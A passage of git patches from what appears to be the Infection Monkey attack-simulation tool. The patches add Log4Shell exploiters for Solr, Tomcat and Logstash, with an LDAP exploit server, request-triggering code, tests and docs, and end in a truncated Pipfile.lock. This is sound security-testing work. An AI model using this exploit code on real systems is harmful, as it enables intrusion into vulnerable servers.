ShellShock, "Shellshock_exploiter") + + def test_log4j_solr_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jSolr, "Log4Shell_Solr_exploiter" + ) + + def test_log4j_tomcat_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jTomcat, "Log4Shell_tomcat_exploiter" + ) + + def test_log4j_logstash_exploiter(self, island_client): + TestMonkeyBlackbox.run_exploitation_test( + island_client, Log4jLogstash, "Log4Shell_logstash_exploiter" + ) def test_tunneling(self, island_client): TestMonkeyBlackbox.run_exploitation_test( From 29ea2a961c5a7ebb927c1942029645a96e950fbb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 09:40:59 -0500 Subject: [PATCH 51/87] Docs: Some small tweaks to the Log4Shell documentation --- .../content/reference/exploiters/Log4Shell.md | 21 +++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/docs/content/reference/exploiters/Log4Shell.md b/docs/content/reference/exploiters/Log4Shell.md index c42fc76e6..7d532b32e 100644 --- a/docs/content/reference/exploiters/Log4Shell.md +++ b/docs/content/reference/exploiters/Log4Shell.md @@ -5,20 +5,33 @@ draft: false tags: ["exploit", "linux", "windows"] --- -The Log4Shell exploiter exploits [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). +The Log4Shell exploiter exploits +[CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228). ### Description -Some versions of Apache Log4j, a Java logging framework, have a logging feature called “Message Lookup Substitution” enabled by default. This allows replacing certain special strings by dynamically-generated strings at the time of logging. If log messages or log message parameters can be controlled by an attacker, arbitrary code can be executed. The Log4Shell exploiter takes advantage of this vulnerability to propagate to a victim machine. +Some versions of Apache Log4j, a Java logging framework, have a logging feature +called "Message Lookup Substitution" enabled by default. This allows replacing +certain special strings by dynamically-generated strings at the time of +logging. If log messages or log message parameters can be controlled by an +attacker, arbitrary code can be executed. The Log4Shell exploiter takes +advantage of this vulnerability to propagate to a victim machine. -To learn about the appropriate mitigations and read more, click [here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). +You can learn more about this vulnerability and potential mitigations +[here](https://logging.apache.org/log4j/2.x/security.html#Fixed_in_Log4j_2.15.0_.28Java_8.29). ### Services exploited -The following services are attempted to be exploited: +The Infection Monkey will attempt to exploit the Log4Shell vulnerability in the +following services: - Apache Solr - Apache Tomcat - Logstash + +**Note**: Even if none of these services are running in your environment, +running the Log4Shell exploiter can be a good way to test your IDS/IPS or EDR +solutions. These solutions should detect that the Infection Monkey is attempting +to exploit the Log4Shell vulnerability and raise an appropriate alert. From c2db37df1ecd27b975c56d0ef927c105f45d35b6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 13 Jan 2022 16:55:45 +0100 Subject: [PATCH 52/87] Agent: Use dropper for Log4Shell --- monkey/infection_monkey/exploit/log4shell.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 3f1a0c0fc..46129dfe3 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -15,9 +15,9 @@ from infection_monkey.exploit.tools.helpers import get_monkey_depth from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ( + DROPPER_ARG, LOG4SHELL_LINUX_COMMAND, LOG4SHELL_WINDOWS_COMMAND, - MONKEY_ARG, VictimHost, ) from infection_monkey.network.info import get_free_tcp_port @@ -131,7 +131,7 @@ class Log4ShellExploiter(WebRCE): def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( - self.host, get_monkey_depth() - 1, vulnerable_port=None + self.host, get_monkey_depth() - 1, vulnerable_port=None, location=path ) if "linux" in self.host.os["type"]: base_command = LOG4SHELL_LINUX_COMMAND @@ -141,7 +141,7 @@ class Log4ShellExploiter(WebRCE): return base_command % { "monkey_path": path, "http_path": http_path, - "monkey_type": MONKEY_ARG, + "monkey_type": DROPPER_ARG, "parameters": monkey_cmd, } From b94c8e54e2f8355d23413d845830642fdc6fb394 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 13 Jan 2022 16:59:22 +0100 Subject: [PATCH 53/87] Agent: Remove POC Docker Service --- .../service_exploiters/__init__.py | 3 +-- .../service_exploiters/poc_docker.py | 22 ------------------- 2 files changed, 1 insertion(+), 24 deletions(-) delete mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 101db8f24..8b44e0e56 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -1,11 +1,10 @@ from typing import List from .i_service_exploiter import IServiceExploiter -from .poc_docker import DockerPOCExploit from .solr import SolrExploit from .tomcat import TomcatExploit from .logstash import LogStashExploit def get_log4shell_service_exploiters() -> List[IServiceExploiter]: - return [DockerPOCExploit(), SolrExploit(), TomcatExploit(), LogStashExploit()] + return [SolrExploit(), TomcatExploit(), LogStashExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py deleted file mode 100644 index 32aba9cec..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py +++ /dev/null @@ -1,22 +0,0 @@ -from logging import getLogger - -import requests - -from infection_monkey.exploit.log4shell_utils.service_exploiters import IServiceExploiter -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -class DockerPOCExploit(IServiceExploiter): - - service_name = "GoFinance mock application" - - @staticmethod - def trigger_exploit(payload: str, host: VictimHost, port: int): - url = f"http://{host.ip_addr}:{port}/login" - payload = {"uname": payload, "password": "m0nk3y"} - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") From 9f5034a8e5c03394a1ce50572bd63761581d6313 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Fri, 14 Jan 2022 10:14:03 +0000 Subject: [PATCH 54/87] Agent: fix race condition between ldap server and malicious requests --- monkey/infection_monkey/exploit/log4shell.py | 3 +++ .../exploit/log4shell_utils/service_exploiters/solr.py | 7 ++++--- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 46129dfe3..e693881f1 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -34,6 +34,7 @@ class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds + LDAP_SERVER_INIT_DELAY = 5 # Time period that code halts waiting for ldap server to start def __init__(self, host: VictimHost): super().__init__(host) @@ -111,6 +112,8 @@ class Log4ShellExploiter(WebRCE): # constructor directly after merging to the agent-refactor branch. self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) self._ldap_server_thread.start() + logger.debug(f"Sleeping {Log4ShellExploiter.LDAP_SERVER_INIT_DELAY} seconds for ldap process to start") + sleep(Log4ShellExploiter.LDAP_SERVER_INIT_DELAY) def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py index 8078a106c..7bdc3fb42 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -13,9 +13,10 @@ class SolrExploit(IServiceExploiter): @staticmethod def trigger_exploit(payload: str, host: VictimHost, port: int): - url = f"http://{host.ip_addr}:{port}/solr/admin/cores" - payload = {"foo": payload} + url = f"http://{host.ip_addr}:{port}/solr/admin/cores?fu={payload}" try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + logger.debug("Sending malicious SOLR log4j request") + requests.post(url, timeout=5, verify=False) # noqa DUO123 + logger.debug("Request sent") except requests.ReadTimeout as e: logger.debug(f"Log4shell request failed {e}") From be79f2bcdb318c689ba5c8f2e2bb36b92cdf344b Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 14 Jan 2022 14:51:18 +0200 Subject: [PATCH 55/87] BB: add log4j machines to gcp machine list --- envs/monkey_zoo/blackbox/gcp_test_machine_list.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index 2cd5a045c..a4dc02447 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -26,5 +26,11 @@ GCP_TEST_MACHINE_LIST = { "powershell-3-46", "powershell-3-47", "powershell-3-48", + "log4j-logstash-55", + "log4j-logstash-56", + "log4j-solr-49", + "log4j-solr-50", + "log4j-tomcat-51", + "log4j-tomcat-52", ], } From d5e05d788588cdc6ec8e3a3b29ff358c0b276291 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 09:31:25 -0500 Subject: [PATCH 56/87] Agent: Change log level of Log4Shell HTTP startup message to INFO --- .../exploit/log4shell_utils/exploit_class_http_server.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index cabfb74ff..c10a70d2e 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -44,7 +44,7 @@ class ExploitClassHTTPServer: HTTPHandler.class_downloaded = self._class_downloaded def run(self): - logger.debug("Starting ExploitClassHTTPServer") + logger.info("Starting ExploitClassHTTPServer") self._class_downloaded.clear() self._server.serve_forever(self._poll_interval) From c9e59bd26674d1ec2f397da77a081961834cb326 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 09:43:14 -0500 Subject: [PATCH 57/87] Agent: Refactor Log4Shell LDAP server to avoid race condition A race condition existed between the time when the LDAP server was instructed to start and the first exploit was sent to the victim. Sometimes, the first exploit would be sent before the LDAP server finished starting, resulting in failed exploitation. To remedy this, the LDAPExploitServer.run() function now blocks until the server has successfully started. Once the server has started, LDAPExploitServer.run() returns. This allows the caller to have confidence that the LDAP server is running after LDAPExploitServer.run() returns and alleviates the need to sleep in order to avoid the race condition. --- monkey/infection_monkey/exploit/log4shell.py | 14 +-- .../exploit/log4shell_utils/ldap_server.py | 85 +++++++++++++++++-- 2 files changed, 81 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e693881f1..80a3cbb6e 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -34,7 +34,6 @@ class Log4ShellExploiter(WebRCE): _EXPLOITED_SERVICE = "Log4j" DOWNLOAD_TIMEOUT = 15 REQUEST_TO_VICTIM_TIME = 5 # How long the request from victim to monkey might take. In seconds - LDAP_SERVER_INIT_DELAY = 5 # Time period that code halts waiting for ldap server to start def __init__(self, host: VictimHost): super().__init__(host) @@ -45,7 +44,6 @@ class Log4ShellExploiter(WebRCE): self.class_http_server_port = get_free_tcp_port() self._ldap_server = None - self._ldap_server_thread = None self._exploit_class_http_server = None self._exploit_class_http_server_thread = None self._agent_http_server_thread = None @@ -106,14 +104,7 @@ class Log4ShellExploiter(WebRCE): storage_dir=get_monkey_dir_path(), ) - # Setting `daemon=True` to save ourselves some trouble when this is merged to the - # agent-refactor branch. - # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` - # constructor directly after merging to the agent-refactor branch. - self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) - self._ldap_server_thread.start() - logger.debug(f"Sleeping {Log4ShellExploiter.LDAP_SERVER_INIT_DELAY} seconds for ldap process to start") - sleep(Log4ShellExploiter.LDAP_SERVER_INIT_DELAY) + self._ldap_server.run() def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") @@ -123,8 +114,7 @@ class Log4ShellExploiter(WebRCE): self._exploit_class_http_server.stop() self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self._ldap_server.stop() - self._ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop(Log4ShellExploiter.DOWNLOAD_TIMEOUT) def _build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 382993d68..074779f59 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,6 +1,9 @@ import logging +import math import multiprocessing import tempfile +import threading +import time from pathlib import Path from ldaptor.interfaces import IConnectedLDAPEntry @@ -15,6 +18,11 @@ from twisted.python.components import registerAdapter logger = logging.getLogger(__name__) EXPLOIT_RDN = "dn=Exploit" +REACTOR_START_TIMEOUT_SEC = 30.0 + + +class LDAPServerStartError(Exception): + pass class Tree: @@ -67,6 +75,22 @@ class LDAPExploitServer: def __init__( self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path ): + """ + :param ldap_server_port: The port that the LDAP server will listen on. + :type ldap_server_port: int + + :param http_server_ip: The IP address of the HTTP server that serves the malicious Log4Shell + Java class. + :type http_server_ip: str + + :param http_server_port: The port the HTTP server is listening on. + :type ldap_server_port: int + + :param storage_dir: A directory where the LDAP server can safely store files it needs during + runtime. + :type storage_dir: Path + """ + self._reactor_startup_completed = multiprocessing.Event() self._ldap_server_port = ldap_server_port self._http_server_ip = http_server_ip self._http_server_port = http_server_port @@ -81,14 +105,45 @@ class LDAPExploitServer: ) def run(self): + """ + Runs the Log4Shell LDAP exploit server in a subprocess. This method attempts to start the + server and blocks until either the server has successfully started or it times out. + + :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. + """ + logger.info("Starting LDAP exploit server") self._server_process.start() - self._server_process.join() + reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) + + if not reactor_running: + raise LDAPServerStartError("An unknown error prevented the LDAP server from starting") + + logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): - self._configure_twisted_reactor() logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") + self._configure_twisted_reactor() + + # Since the call to reactor.run() blocks, a separate thread is started to poll the value + # of `reactor.running` and set the self._reactor_startup_complete Event when the reactor + # is running. This allows the self.run() function to block until the reactor has + # successfully started. + threading.Thread(target=self._check_if_reactor_startup_completed, daemon=True).start() reactor.run() + def _check_if_reactor_startup_completed(self): + check_interval_sec = 0.25 + num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) + + for _ in range(0, num_checks): + if reactor.running: + logger.debug("Twisted reactor startup completed") + self._reactor_startup_completed.set() + break + + logger.debug("Twisted reactor has not yet started") + time.sleep(check_interval_sec) + def _configure_twisted_reactor(self): LDAPExploitServer._output_twisted_logs_to_python_logger() @@ -110,7 +165,25 @@ class LDAPExploitServer: log_observer = log.PythonLoggingObserver() log_observer.start() - def stop(self): - # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully - # shutdown. - self._server_process.terminate() + def stop(self, timeout: float = None): + """ + Stops the LDAP server. + + :param timeout: A floating point number of seconds to wait for the server to stop. If this + argument is None (the default), the method blocks until the LDAP server + terminates. If `timeout` is a positive floating point number, this method + blocks for at most `timeout` seconds. + :type timeout: float + """ + if self._server_process.is_alive(): + logger.debug("Stopping LDAP exploit server") + + # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully + # shutdown. + self._server_process.terminate() + self._server_process.join(timeout) + + if self._server_process.is_alive(): + logger.warning("Timed out while waiting for the LDAP exploit server to stop.") + else: + logger.debug("Successfully stopped the LDAP exploit server") From 363d0e14bfc1cf9cf1b3ce0e8218537e8605d938 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 14 Jan 2022 11:53:50 -0500 Subject: [PATCH 58/87] UT: Add unit test for Log4Shell LDAPExploitServer --- monkey/infection_monkey/Pipfile | 1 + monkey/infection_monkey/Pipfile.lock | 2554 +++++++++-------- .../log4shell_utils/test_ldap_server.py | 40 +- 3 files changed, 1323 insertions(+), 1272 deletions(-) diff --git a/monkey/infection_monkey/Pipfile b/monkey/infection_monkey/Pipfile index 7c1d80134..6600fab8a 100644 --- a/monkey/infection_monkey/Pipfile +++ b/monkey/infection_monkey/Pipfile @@ -34,6 +34,7 @@ typing-extensions = "*" ldaptor = "*" [dev-packages] +ldap3 = "*" [requires] python_version = "3.7" diff --git a/monkey/infection_monkey/Pipfile.lock b/monkey/infection_monkey/Pipfile.lock index 4089b56f3..b33e8f835 100644 --- a/monkey/infection_monkey/Pipfile.lock +++ b/monkey/infection_monkey/Pipfile.lock @@ -1,1263 +1,1291 @@ -{ - "_meta": { - "hash": { - "sha256": "3c1d7bd82a9f8e231077101853328f117777710b2e5fbf96c9652216241e6c91" - }, - "pipfile-spec": 6, - "requires": { - "python_version": "3.7" - }, - "sources": [ - { - "name": "pypi", - "url": "https://pypi.org/simple", - "verify_ssl": true - } - ] - }, - "default": { - "aiowinreg": { - "hashes": [ - "sha256:6cd7f64ef002a7c6d7c27310db578fbc8992eeaca0936ebc56283d70c54573f2", - "sha256:a191c039f9c0c1681e8fc3a3ce26c56e8026930624932106d7a1526d96c008dd" - ], - "markers": "python_version >= '3.6'", - "version": "==0.0.7" - }, - "altgraph": { - "hashes": [ - "sha256:743628f2ac6a7c26f5d9223c91ed8ecbba535f506f4b6f558885a8a56a105857", - "sha256:ebf2269361b47d97b3b88e696439f6e4cbc607c17c51feb1754f90fb79839158" - ], - "index": "pypi", - "version": "==0.17.2" - }, - "asn1crypto": { - "hashes": [ - "sha256:4bcdf33c861c7d40bdcd74d8e4dd7661aac320fcdf40b9a3f95b4ee12fde2fa8", - "sha256:f4f6e119474e58e04a2b1af817eb585b4fd72bdd89b998624712b5c99be7641c" - ], - "version": "==1.4.0" - }, - "asyncio-throttle": { - "hashes": [ - "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" - ], - "markers": "python_version >= '3.5'", - "version": "==0.1.1" - }, - "asysocks": { - "hashes": [ - "sha256:9b33fe5ab6853ed2ac9eb1652f4a8593a78ad5ba258bd10fa4b81801e38729c2", - "sha256:a0a20e583fedb08c962a68dd50764a34424c41bd59a0ae952d8bb368a03eaa45" - ], - "markers": "python_version >= '3.6'", - "version": "==0.1.2" - }, - "attrs": { - "hashes": [ - "sha256:149e90d6d8ac20db7a955ad60cf0e6881a3f20d37096140088356da6c716b0b1", - "sha256:ef6aaac3ca6cd92904cdd0d83f629a15f18053ec84e6432106f7a4d04ae4f5fb" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==21.2.0" - }, - "automat": { - "hashes": [ - "sha256:7979803c74610e11ef0c0d68a2942b152df52da55336e0c9d58daf1831cbdf33", - "sha256:b6feb6455337df834f6c9962d6ccf771515b7d939bca142b29c20c2376bc6111" - ], - "version": "==20.2.0" - }, - "bcrypt": { - "hashes": [ - "sha256:5b93c1726e50a93a033c36e5ca7fdcd29a5c7395af50a6892f5d9e7c6cfbfb29", - "sha256:63d4e3ff96188e5898779b6057878fecf3f11cfe6ec3b313ea09955d587ec7a7", - "sha256:81fec756feff5b6818ea7ab031205e1d323d8943d237303baca2c5f9c7846f34", - "sha256:a67fb841b35c28a59cebed05fbd3e80eea26e6d75851f0574a9273c80f3e9b55", - "sha256:c95d4cbebffafcdd28bd28bb4e25b31c50f6da605c81ffd9ad8a3d1b2ab7b1b6", - "sha256:cd1ea2ff3038509ea95f687256c46b79f5fc382ad0aa3664d200047546d511d1", - "sha256:cdcdcb3972027f83fe24a48b1e90ea4b584d35f1cc279d76de6fc4b13376239d" - ], - "markers": "python_version >= '3.6'", - "version": "==3.2.0" - }, - "boto3": { - "hashes": [ - "sha256:a03ab82efcbf457c36dab4afc545d0ddb72b5140c9993cffc78bc23b8d8baa40", - "sha256:fa686e8e0a0559124aa9f19dcc25e6cc428f18ff11f779bb7346b883b353fdc2" - ], - "markers": "python_version >= '3.6'", - "version": "==1.20.25" - }, - "botocore": { - "hashes": [ - "sha256:98f8a23ca035edfbd8a8028e624eaf08ba22452dd78ad62eeb03fcd0bbd5f58d", - "sha256:9eb71d5ee1ea335b3968751346601e923c66a7b324b1dc58e360d14e0d2ac136" - ], - "markers": "python_version >= '3.6'", - "version": "==1.23.25" - }, - "certifi": { - "hashes": [ - "sha256:78884e7c1d4b00ce3cea67b44566851c4343c120abd683433ce934a68ea58872", - "sha256:d62a0163eb4c2344ac042ab2bdf75399a71a2d8c7d47eac2e2ee91b9d6339569" - ], - "version": "==2021.10.8" - }, - "cffi": { - "hashes": [ - "sha256:00c878c90cb53ccfaae6b8bc18ad05d2036553e6d9d1d9dbcf323bbe83854ca3", - "sha256:0104fb5ae2391d46a4cb082abdd5c69ea4eab79d8d44eaaf79f1b1fd806ee4c2", - "sha256:06c48159c1abed75c2e721b1715c379fa3200c7784271b3c46df01383b593636", - "sha256:0808014eb713677ec1292301ea4c81ad277b6cdf2fdd90fd540af98c0b101d20", - "sha256:10dffb601ccfb65262a27233ac273d552ddc4d8ae1bf93b21c94b8511bffe728", - "sha256:14cd121ea63ecdae71efa69c15c5543a4b5fbcd0bbe2aad864baca0063cecf27", - "sha256:17771976e82e9f94976180f76468546834d22a7cc404b17c22df2a2c81db0c66", - "sha256:181dee03b1170ff1969489acf1c26533710231c58f95534e3edac87fff06c443", - "sha256:23cfe892bd5dd8941608f93348c0737e369e51c100d03718f108bf1add7bd6d0", - "sha256:263cc3d821c4ab2213cbe8cd8b355a7f72a8324577dc865ef98487c1aeee2bc7", - "sha256:2756c88cbb94231c7a147402476be2c4df2f6078099a6f4a480d239a8817ae39", - "sha256:27c219baf94952ae9d50ec19651a687b826792055353d07648a5695413e0c605", - "sha256:2a23af14f408d53d5e6cd4e3d9a24ff9e05906ad574822a10563efcef137979a", - "sha256:31fb708d9d7c3f49a60f04cf5b119aeefe5644daba1cd2a0fe389b674fd1de37", - "sha256:3415c89f9204ee60cd09b235810be700e993e343a408693e80ce7f6a40108029", - "sha256:3773c4d81e6e818df2efbc7dd77325ca0dcb688116050fb2b3011218eda36139", - "sha256:3b96a311ac60a3f6be21d2572e46ce67f09abcf4d09344c49274eb9e0bf345fc", - "sha256:3f7d084648d77af029acb79a0ff49a0ad7e9d09057a9bf46596dac9514dc07df", - "sha256:41d45de54cd277a7878919867c0f08b0cf817605e4eb94093e7516505d3c8d14", - "sha256:4238e6dab5d6a8ba812de994bbb0a79bddbdf80994e4ce802b6f6f3142fcc880", - "sha256:45db3a33139e9c8f7c09234b5784a5e33d31fd6907800b316decad50af323ff2", - "sha256:45e8636704eacc432a206ac7345a5d3d2c62d95a507ec70d62f23cd91770482a", - "sha256:4958391dbd6249d7ad855b9ca88fae690783a6be9e86df65865058ed81fc860e", - "sha256:4a306fa632e8f0928956a41fa8e1d6243c71e7eb59ffbd165fc0b41e316b2474", - "sha256:57e9ac9ccc3101fac9d6014fba037473e4358ef4e89f8e181f8951a2c0162024", - "sha256:59888172256cac5629e60e72e86598027aca6bf01fa2465bdb676d37636573e8", - "sha256:5e069f72d497312b24fcc02073d70cb989045d1c91cbd53979366077959933e0", - "sha256:64d4ec9f448dfe041705426000cc13e34e6e5bb13736e9fd62e34a0b0c41566e", - "sha256:6dc2737a3674b3e344847c8686cf29e500584ccad76204efea14f451d4cc669a", - "sha256:74fdfdbfdc48d3f47148976f49fab3251e550a8720bebc99bf1483f5bfb5db3e", - "sha256:75e4024375654472cc27e91cbe9eaa08567f7fbdf822638be2814ce059f58032", - "sha256:786902fb9ba7433aae840e0ed609f45c7bcd4e225ebb9c753aa39725bb3e6ad6", - "sha256:8b6c2ea03845c9f501ed1313e78de148cd3f6cad741a75d43a29b43da27f2e1e", - "sha256:91d77d2a782be4274da750752bb1650a97bfd8f291022b379bb8e01c66b4e96b", - "sha256:91ec59c33514b7c7559a6acda53bbfe1b283949c34fe7440bcf917f96ac0723e", - "sha256:920f0d66a896c2d99f0adbb391f990a84091179542c205fa53ce5787aff87954", - "sha256:a5263e363c27b653a90078143adb3d076c1a748ec9ecc78ea2fb916f9b861962", - "sha256:abb9a20a72ac4e0fdb50dae135ba5e77880518e742077ced47eb1499e29a443c", - "sha256:c2051981a968d7de9dd2d7b87bcb9c939c74a34626a6e2f8181455dd49ed69e4", - "sha256:c21c9e3896c23007803a875460fb786118f0cdd4434359577ea25eb556e34c55", - "sha256:c2502a1a03b6312837279c8c1bd3ebedf6c12c4228ddbad40912d671ccc8a962", - "sha256:d4d692a89c5cf08a8557fdeb329b82e7bf609aadfaed6c0d79f5a449a3c7c023", - "sha256:da5db4e883f1ce37f55c667e5c0de439df76ac4cb55964655906306918e7363c", - "sha256:e7022a66d9b55e93e1a845d8c9eba2a1bebd4966cd8bfc25d9cd07d515b33fa6", - "sha256:ef1f279350da2c586a69d32fc8733092fd32cc8ac95139a00377841f59a3f8d8", - "sha256:f54a64f8b0c8ff0b64d18aa76675262e1700f3995182267998c31ae974fbc382", - "sha256:f5c7150ad32ba43a07c4479f40241756145a1f03b43480e058cfd862bf5041c7", - "sha256:f6f824dc3bce0edab5f427efcfb1d63ee75b6fcb7282900ccaf925be84efb0fc", - "sha256:fd8a250edc26254fe5b33be00402e6d287f562b6a5b2152dec302fa15bb3e997", - "sha256:ffaa5c925128e29efbde7301d8ecaf35c8c60ffbcd6a1ffd3a552177c8e5e796" - ], - "index": "pypi", - "version": "==1.15.0" - }, - "chardet": { - "hashes": [ - "sha256:0d6f53a15db4120f2b08c94f11e7d93d2c911ee118b6b30a04ec3ee8310179fa", - "sha256:f864054d66fd9118f2e67044ac8981a54775ec5b67aed0441892edb553d21da5" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", - "version": "==4.0.0" - }, - "charset-normalizer": { - "hashes": [ - "sha256:1eecaa09422db5be9e29d7fc65664e6c33bd06f9ced7838578ba40d58bdf3721", - "sha256:b0b883e8e874edfdece9c28f314e3dd5badf067342e42fb162203335ae61aa2c" - ], - "markers": "python_version >= '3'", - "version": "==2.0.9" - }, - "cheroot": { - "hashes": [ - "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", - "sha256:f137d03fd5155b1364bea557a7c98168665c239f6c8cedd8f80e81cdfac01567" - ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==8.5.2" - }, - "cherrypy": { - "hashes": [ - "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", - "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" - ], - "markers": "python_version >= '3.5'", - "version": "==18.6.1" - }, - "cherrypy-cors": { - "hashes": [ - "sha256:eb512e20fa9e478abd1868b1417814a4e9240ed0c403472a2c624460e49ab0d5", - "sha256:f7fb75f6e617ce29c9ec3fdd8b1ff6ec64fec2c56371182525e22bcf4c180513" - ], - "markers": "python_version >= '2.7'", - "version": "==1.6" - }, - "click": { - "hashes": [ - "sha256:353f466495adaeb40b6b5f592f9f91cb22372351c84caeb068132442a4518ef3", - "sha256:410e932b050f5eed773c4cda94de75971c89cdb3155a72a0831139a79e5ecb5b" - ], - "markers": "python_version >= '3.6'", - "version": "==8.0.3" - }, - "colorama": { - "hashes": [ - "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", - "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" - ], - "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", - "version": "==0.4.4" - }, - "coloredlogs": { - "hashes": [ - "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", - "sha256:b869a2dda3fa88154b9dd850e27828d8755bfab5a838a1c97fbc850c6e377c36" - ], - "version": "==10.0" - }, - "constantly": { - "hashes": [ - "sha256:586372eb92059873e29eba4f9dec8381541b4d3834660707faf8ba59146dfc35", - "sha256:dd2fa9d6b1a51a83f0d7dd76293d734046aa176e384bf6e33b7e44880eb37c5d" - ], - "version": "==15.1.0" - }, - "cryptography": { - "hashes": [ - "sha256:05b3ded5e88747d28ee3ef493f2b92cbb947c1e45cf98cfef22e6d38bb67d4af", - "sha256:06826e7f72d1770e186e9c90e76b4f84d90cdb917b47ff88d8dc59a7b10e2b1e", - "sha256:08b753df3672b7066e74376f42ce8fc4683e4fd1358d34c80f502e939ee944d2", - 